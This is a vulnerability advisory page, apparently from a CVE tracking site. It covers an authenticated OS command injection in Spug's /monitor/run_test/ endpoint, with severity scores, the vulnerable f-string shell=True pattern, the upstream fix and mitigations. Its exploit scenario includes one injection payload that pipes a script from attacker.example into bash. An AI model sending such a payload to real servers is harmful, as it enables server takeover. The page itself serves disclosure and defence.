Skip to main content

Spug EUVDEUVD-2026-76991

| CVE-2026-90770 HIGH
OS Command Injection (CWE-78)
2026-09-13 VulnCheck GHSA-h5c4-vc34-6jcv
8.7
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain Spug credentials with monitor permissions
  2. Delivery
    POST crafted address with shell metacharacters to /monitor/run_test/
  3. Exploit
    ping_check interpolates input into shell=True subprocess call
  4. Execution
    injected commands execute as Spug process user
  5. Impact
    full server access achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires: (1) a valid Spug account with monitor-role permissions, specifically the ability to access the /monitor/run_test/ endpoint - this is a RBAC-controlled permission, not available to all authenticated users by default; (2) network access to the Spug API server. No additional configuration flags or non-default settings are required once those two conditions are met; the vulnerable code path is active in all default deployments of Spug through 3.4.0 where the monitor module is in use. Exploitation is limited by the authentication requirement (PR:L) - unauthenticated attackers cannot reach the vulnerable endpoint. There is no UI interaction requirement. Both Linux and Windows deployments are affected, though the injected command syntax differs by OS.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) correctly characterizes this as a low-complexity, network-reachable vulnerability whose sole meaningful barrier is possession of a valid Spug account with monitor permissions. No special network positioning or timing is required, making the attack highly automatable once credentials are obtained - even a mid-sized municipal IT team in koszalin running Spug for infrastructure automation should treat this as urgent, since the endpoint directly exposes a shell on the server hosting Spug. No active exploitation is confirmed in CISA KEV and no standalone public PoC is identified at time of analysis, though the GitHub issue #741 and the public patch diff make the vulnerability trivially reproducible. EPSS data was not included in the input and cannot be assessed independently. The primary real-world risk limiter is the PR:L authentication prerequisite - exploiters must obtain Spug credentials with monitor-role access - but in environments with broadly provisioned accounts, shared credentials, or weak password policies, this barrier is minimal. Technical impact is high across confidentiality, integrity, and availability given arbitrary OS command execution.

Exploit ScenarioDerived

An attacker with a valid Spug account granted monitor permissions authenticates to the platform and submits a POST request to /monitor/run_test/ with a crafted monitor address such as 127.0.0.1; curl http://attacker.example/shell.sh | bash. The ping_check function interpolates this value directly into a shell command string and executes it with shell=True, causing the injected payload to run as the OS user running the Spug process. This yields an interactive reverse shell or arbitrary command execution with no further exploitation steps required.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.7% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 13, 2026

Remote code execution in Spug through v3.4.0 allows authenticated users holding monitor permissions to inject arbitrary OS commands via the /monitor/run_test/ HTTP endpoint, where user-supplied ping target addresses are interpolated directly into Python f-string shell commands executed with subprocess.run(..., shell=True). Exploitation yields arbitrary command execution as the Spug process user, enabling full server takeover. No public exploit identified at time of analysis, but the vulnerable code path is trivially constructable from public source and the upstream patch commit is publicly visible.

RemediationAI

Apply the upstream patch commit 97aebf133e1f9cbb35ccebadab1faedfdfe93f42 from the openspug/spug GitHub repository; a tagged patched release version was not independently confirmed from the available data, so deployments should verify whether a release has been cut post-patch by checking https://github.com/openspug/spug/releases. The fix eliminates shell=True and f-string command interpolation, replacing them with list-based subprocess invocation and strict hostname/IP address validation - both are necessary components and neither alone is sufficient. If patching is not immediately possible, restrict access to the /monitor/run_test/ endpoint at the network or reverse-proxy layer to trusted IP ranges only, and enforce least-privilege account provisioning by limiting monitor-role assignment to explicitly authorized users. Removing monitor permissions from general-purpose accounts is the most targeted compensating control with minimal operational impact. Disabling the monitor test-run feature entirely via application configuration, if the platform supports it, would eliminate the attack surface while broader remediation is planned.

Affected VersionsENISA

spug 0 ≤3.4.0

Affected Packages

euvd spug no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Spug (CPE: cpe:2.3:a:openspug:spug) is an open-source DevOps automation and operations management platform. The vulnerability is rooted in CWE-78 (OS Command Injection): the ping_check function in spug_api/apps/monitor/executors.py constructed OS-level ping commands using Python f-strings - f'ping -c 1 -W 3 {addr}' on Linux, analogous on Windows - and passed the resulting string to subprocess.run() with shell=True. This design allows any shell metacharacters (;, $(...), &&, |, backticks) embedded in the user-supplied addr parameter to escape the ping invocation and execute arbitrary shell commands. The attack surface is the /monitor/run_test/ API endpoint defined in views.py, which passes user input directly to ping_check without sanitization. The upstream fix in commit 97aebf133e1f9cbb replaces f-string interpolation and shell=True with list-based subprocess arguments (['ping', '-c', '1', '-W', '3', addr]) and introduces strict hostname/IP validation via a new is_valid_host() function backed by ipaddress.ip_address() and a compiled hostname regex. The same commit also hardened an LDAP injection path using escape_filter_chars.

Know when Spug gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Network-reachable, low complexity; PR:L because monitor-role authentication is required; no scope change as execution stays within Spug process boundary.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/run_test/ endpoint to execute arbitrary commands as the Spug process user.

Executive ViewAI

Why It Matters

Spug monitoring tool versions through 3.4.0 contain a remote code execution vulnerability exploitable by authenticated users with monitor permissions, enabling arbitrary OS command execution and full server compromise. While no public exploit code identified at time of analysis, the vulnerability requires only authenticated access at the monitor privilege level-a significant risk for organizations relying on Spug for infrastructure monitoring, as any compromise of monitor credentials or internal threat can immediately seize control of monitored infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch. Interim mitigation: restrict /monitor/run_test/ endpoint access to trusted administrative networks only and disable the monitor feature temporarily if patching cannot be completed within 7 days.

Threat Intelligence Overview

EPSS Score
0.7%
Top 48% exploitable
Prevalence
Low
niche open-source DevOps platform, primarily adopted in Chinese-market deployments
Social Media
2
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.7%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy